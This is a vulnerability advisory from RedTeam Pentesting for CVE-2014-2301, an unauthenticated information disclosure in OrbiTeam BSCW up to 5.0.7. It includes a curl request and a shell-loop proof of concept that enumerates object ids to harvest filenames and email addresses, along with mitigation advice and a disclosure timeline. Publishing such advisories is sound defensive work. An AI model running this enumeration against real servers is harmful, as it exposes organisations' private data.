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Metadata Information Disclosure in OrbiTeam BSCW

RedTeam Pentesting discovered an information disclosure vulnerability in OrbiTeam’s BSCW collaboration software. An unauthenticated attacker can disclose metadata about internal objects which are stored in BSCW.


  • Product: BSCW
  • Affected Versions: BSCW <=5.0.7
  • Fixed Versions: BSCW >=5.0.8
  • Vulnerability Type: Information Disclosure
  • Security Risk: medium
  • Vendor URL:
  • Vendor Status: fixed version released
  • Advisory URL:
  • Advisory Status: published
  • CVE: CVE-2014-2301
  • CVE URL:


“The BSCW shared workspace system is the tool of choice for efficient group collaboration. BSCW permits the creation of documents, appointments, contacts, tasks and notes within shared workspaces. Without having to install additional software, team members can access this data around-the-clock, from anywhere in the world. Mission-critical information is constantly available to all authorised personnel regardless of location, ensuring that complex workflows can be coordinated with minimal effort.”

(from OrbiTeam’s homepage)

More Details

BSCW uses the URL parameter “op” to select different functions of the application. For example the password reset dialog can be used by opening the following URL:

The server maps the value provided by the parameter “op” to locally stored python modules which provide handler functions that are called to generate HTTP responses. It was discovered that sensitive metadata about internally stored objects of BSCW can be disclosed by using the “inf” operation.

When opening the following URL, the filename of a document which is identified by the value “12345” is disclosed in the response sent by the server (output shortened):

$ curl --header 'Cookie: _pub_bscws="e4efb9e7ace7a12de82aa7a4aff1ab2a:1"' \
    <tr valign="top">
      <td class="iLabel"  id="small"  width="88">Name</td>
      <td class="iValueB" width="352">Contract-XXXXX.doc</td>

The cookie used in the above command is generated by requesting the login page of BSCW. It is not necessary to enter credentials.

By iterating over the ids which are assigned in ascending order, attackers can enumerate the names of all objects stored in BSCW without prior authentication. This includes filenames and email addresses.

Proof of Concept

When the following loop is run with a valid (but unauthenticated) BSCW cookie, it will find names for the BSCW objects 10000 to 30000:

$ for id in `seq 10000 30000`; do
   filename = `curl --silent --header 'Cookie: _pub_bscws="COOKIE_COOKIE_COOKIE"' \
              "${id}?op=inf" | \
              grep "iValueB" | \
              sed -e 's;^.*<td class="iValueB" width="352">\(.*\)</td>.*$;\1;'`
   echo "${id}: ${filename}"


It may be possible to add another authentication layer, for example HTTP-Authentication, to limit access to this BSCW information disclosure to persons authorized to use BSCW anyway.


Update to version 5.0.8.

Security Risk

The risk is estimated to be medium. This vulnerability does not allow attackers to access files stored in BSCW. They can however retrieve filenames, which may be enough to draw conclusions about the corresponding file contents, and other potentially sensitive data such as email addresses.


  • 2014-02-20 Vulnerability identified
  • 2014-03-04 Customer approved disclosure to vendor
  • 2014-03-06 CVE number requested and assigned
  • 2014-03-07 Vendor notified
  • 2014-03-10 Vendor acknowledges vulnerability
  • 2014-04-22 Vendor released fixed version
  • 2014-05-08 Advisory released

RedTeam Pentesting GmbH

RedTeam Pentesting offers individual penetration tests, short pentests, performed by a team of specialised IT-security experts. Hereby, security weaknesses in company networks or products are uncovered and can be fixed immediately.

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